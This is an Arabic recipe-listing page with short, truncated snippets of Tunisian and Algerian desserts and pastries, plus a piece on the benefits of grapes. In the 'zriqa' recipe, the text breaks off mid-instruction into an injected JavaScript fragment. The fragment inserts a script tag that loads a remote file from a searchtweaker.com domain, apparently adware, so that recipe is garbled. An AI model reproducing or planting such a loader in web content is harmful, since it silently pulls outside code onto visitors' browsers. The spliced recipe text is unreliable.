اليويو حلويات تونسية

اليويو حلويات تونسية المقادير:للعجين: 5 بيضات 5 ملاعق سكر 5 ملاعق زيت ملعقة سكر فانيليا ملعقة خميرة مرطبات 1/2 كوب سمسم 500 غ دقيق للقلي:1 لتر زيت نباتي للقطر:500 غ سكر 1/2 عصير ليمونة 3 أكواب ماء طريقة التحضير: للعجينة، اخلط البيض و السكر في وعاء جيدا أضف الزيت والسكر فانيليا والسمسم و اخلط الكل جيدا أضف بعد ذلك الدقيق و الخميرة و قم بعرك العجينة إلى أن تصبح متجانسة افرد العجين لتتحصل على عجين سمكه 1 سم تقريبا قطعها على شكل دوائر مثقوبة في الوسط قم بقليها بعد ذلك في الزيت الساخن  حتى تكتسب لونا ذهبيا حضر القطر و قم بغمسها فيه قليلا و أخرجها اتركها تبرد ثم قدمها...

اقرء المزيد

بريك دنوني

بريك دنوني   و هي معجنات تونسية   المقادير : 2 كوب سميد 1 كوب طحين زبدة ملح شوية ماء دافيء الطريقة : تعجن المقادير : تترقق العجينة بالنشابة و تقطع دوائر: نحضر الحشوة : بيض مسلوق _تن _جبن مبشور ملح _فلفل اسود ثم نضع مقدار ملعقة أكل أو أكثر بقليل من الحشوه في كل دائرة و تلف: و تقلى : و تقدم :  ...

اقرء المزيد

الصمصة التونسية

الصمصة التونسية إليكم طريقة تحضير الصمصة التونسية بالمقادير والخطوات أدناه:  المقادير : - 500 غ لوز مقشر ومحمر و مفروم فرما متوسطا  / يمكن اضافة أي نوع من المكسرات المفضلة لديك - 150 غ سكر ناعم جدا - 20 ورقة ملسوقة / جلاش - 100 غ زبدة - 5 ملاعق كبيرة ماء الزهر - للقطر : 500غ سكر - كوب من الماء - عصير نصف ليمونة صغيرة - زيت للقلي طريقة التحضير: - يوضع اللوز المفروم في اناء عميق و يضاف إليه السكر الناعم و يخلط مع اضافة ماء الزهر كما يمكن الاستعانة ببياض بيضة  أن لم تتمكني من تجميع الخليط - تقص الملسوقة / الجلاش إلى مستطيلات على طول الورقة ثم تدهن بالقليل من الزبدة لتتماسك أثناء القلي - توضع كمية...

اقرء المزيد

طاجين سبناخ على الطريقة التونسية

طاجين سبناخ على الطريقة التونسية     المقادير : - 250 غ من اللحم - بصلة متوسطة الحجم - 150 غ جبن مرحي - 150 غ من الريكوتا - 500 غ من السبناخ - 10 بيضات - ملح وفلفل و كركم - 2 ملاعق زيت طريقة التحضير : - يقص اللحم إلى مكعبات صغيرة ثم يتبل بالملح و الفلفل و الكركم و تقص البصلة الى مكعبات الصغيرة ثم توضع في إناء عميق و تشوح قليلا في ملعقتين من الزيت ثم يضاف فوقها اللحم و تحرك على نار قوية ثم يصب فوقها الماء و تترك على نار متوسطة حتى ينضج اللحم تماما و يجف ماؤه ثم يترك حتى يبرد و يفتت بالأصابع - توضع السبانخ في ماء مغلي مدة 3 دقائق ثم تصفى جيدا و تقص عشوائيا - في إناء عميق يخلط اللحم و السبانخ و الجبن و البيض...

اقرء المزيد

الحلقوم

الحلقوم تطبخ على نار هادئة لمدة ساعة في النهاية تحصل على حلقوم المقادير كلها بفنجان شاي مايقارب ( 30مل ) المقادير: 2 فنجان شاي نشاء 4 فنجان شاي سكر 3 فنجان ماء رشة فانيليا ممكن نضيف القليل من ماء الورد للنكهة  على حسب رغبتك قليل من النشاء الطريقه : يذوب النشا في الماء ** نخلط 2 فنجان ماء مع 2 فنجان  سكر في قدر حتى يغلي الخليط ثم نضيف عليه خليط النشا ونحرك حتى يمتزج جيدا ** بعد ربع ساعة نضيف باقي السكر ونترك المزيج  على نار هادئه ونقلب فيه حتى يثقل جيدا يستغرق منك ساعة كاملة مع ضرورة التحريك **بالاخر نضيف رشة الفانيلا وممكن تحط ماء ورد ** ندهن الصينيه بالزيت ثم نصب فيها الخليط ونساويها جيدا بالملعقة وذلك بعد...

اقرء المزيد

كعك الورقة

كعك الورقة  المقادير   الورقة 250غ فارينة 100غ زبدة ماء   الحشو   300غ لوز 100غ  سكر محورماء ورد   طريقة التحضير   نذيب الزبدة في حمام مائي نسكب الزبدة فق الفارينة و نضيف الماء الدافئ  حتى الحصول على عجينة متماسكة نغلفها بالبلاستيكنضيف السكر الى اللوز ثم ماء الورد  للحصول على عجينة لوز متماسكةنصنع اسطوانات من عجين اللوز نطرح الورقة على الطاولةنقص الاسطوانة الى اعواد طولها 10 صم نلف الورقة بالعود مرة و نصف نترك بعض عجين اللوز  خارج عن الورقة من جهة و الورقة خارجة من جهة اخرى ندخل الجزء الخارج من عجين اللوز في الجزء الخارج من الورقة نسوي بالماء حتى تصبح الكعكة ملساءنضعها في الطبق...

اقرء المزيد

الزريقة

الزريقة الزريقة 100غ لوز مطحون 100غ بوفريوة(بندق) مطحونه 100 غ سكر ناعم 50غ زبدة 12 ورقة ملسوقة ممكن تعويضها بالجلاش او اوراق الفيلو 2 ملعقة كبيرة عطرشية (الكادي) ممكن استبدالها بماء الورد كريمة حلويات نخلط البوفريوة واللوز والعطرشية والسكر نقطه اوراق الملسوقة في شكل مستطيلات وندهن سطحها بالزبدة ثم نضع في كل مستطيل مقدار من حشوة اللوز والبوفريوه ونلفها للحصول على شكل سجائر نرتبها في طبق وندخلها الفرن ثم نضعها في زبديات منفردة ونصب فوقها (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if...

اقرء المزيد

العنب وفوائده لصحتك وجمالك

العنب وفوائده لصحتك وجمالك فى قديم الزمان كان الأطباء يعالجون مرضاهم يوصون مرضاهم بالعنب نظراً الى فوائده الغذائية والدوائية ونُسجت حكايات وأساطير كثيرة حول العنب، وفي بعض البلدان يعتبر العنب رمزاً للخصب، وكانت شعوب قديمة تكن له أرفع التقدير وتعتبر شجرته مباركة. ان آسيا هي أصل شجرة العنب، والفينيقيون هم الذين نقلوه الى  جزر اليونان وصقلية وإيطاليا ومرسيليا  وغيرها فوائد العنب لصحتك :- يساهم العنب في خفض الضغط المرتفع، حيث انه يعتبر مدراً للبول لاحتوائه على نسبة عالية من البوتاسيوم.  من محتويات العنب خاصة القشرة، مجموعة من عناصر فيتامين (ب) المركب والذي يحتاجه الجسم في نواح...

اقرء المزيد

المقروط الجزائري

 المقروط الجزائري     المقروط  هو نوع من الحلويات الجزائرية يشبه المعمول من حيث المقادير، وهو من اشهى الحلويات التي لا يمكن الاستغناء عنها في  الاعراس خاصة في الشرق الجزائري  المقادير   من اجل صينية فرن بمقاس 40*50 سم 1200غ سميد (أحرش نوع ما) 400غ سمن + قليل من الملح ماء ورد(ماء الزهر) + ماء   للحشو   500غ عجينة التمر(غرس) نصف ملعقة صغير قرفة نصف ملعقة صغيرة قرنفل مطحون 2  ملاعق صغيرة زبدة  التحضير   اخلطي مقادير الحشو واعجينيهم الى ان تتحصلي...

اقرء المزيد

تحضير عجينة القطايف

تحضير عجينة القطايف      المقادير: 1 ملعقة كبيرة سكر 2/1 كوب حليب دافئ 1 ملعقة صغيرة خميرة 2 ملعقة صغيرة بيكنج باودر 4/1 1 كوب دقيق 1 كوب ماء طريقة التحضير: 1- يُذاب السكر مع الحليب وتضاف إليه الخميرة، ويترك مدة 5 دقائق على الأقل حتى تتفاعل الخميرة. 2- يُخلط البيكنج باودر مع الدقيق ثم تضاف إليه خليط الخميرة. 3- يُضاف الماء وتقلَّب كل المحتويات جيداً حتى تندمج، وتترك لمدة ساعة حتى تختمر. 4-تسخن المقلاة جيداُ (ويفضل أن تكون من الحديد السميك القعر لتحمل الحرارة العالية) ويصب مقدار ملعقة كبيرة من المزيج وتكرر الطريقة نفسها على أن تحمر القطايف من جهة واحدة فقط. عند وضع الخليط في المقلاة تظهر فقاقيع داخل القرص...

اقرء المزيد

شوصون بالعجين المورق

شوصون بالعجين المورق السلام عليكم و رحمة الله   المقادير :   رولي من pâte feuilletée العجينة المورقة نصف حبة بصل مقطعة + فص ثوم + ملح 2 حبات طماطم + طون + فرماج مبشور + زيتون اخضر بدون نواة التحضير: نقوم بوضع البصل+ ثوم+ ملح + طماطم في مقلاة مع القليل من الزيت نطهيها حتى تصبح صلصة نتركها حتى تبرد ثم ناتي بالعجينة ونقوم بتقطيعها مربعات ونضع الصلصة والجبن والزيتون والطون ونقوم بغلقها ونقوم بالضغط بالفرشيطة على الحواشي ثم ندهنها بالبيض ونرشها بالسانوج وندخلها الفرن بالهناء و الشفاء   &nbs...

اقرء المزيد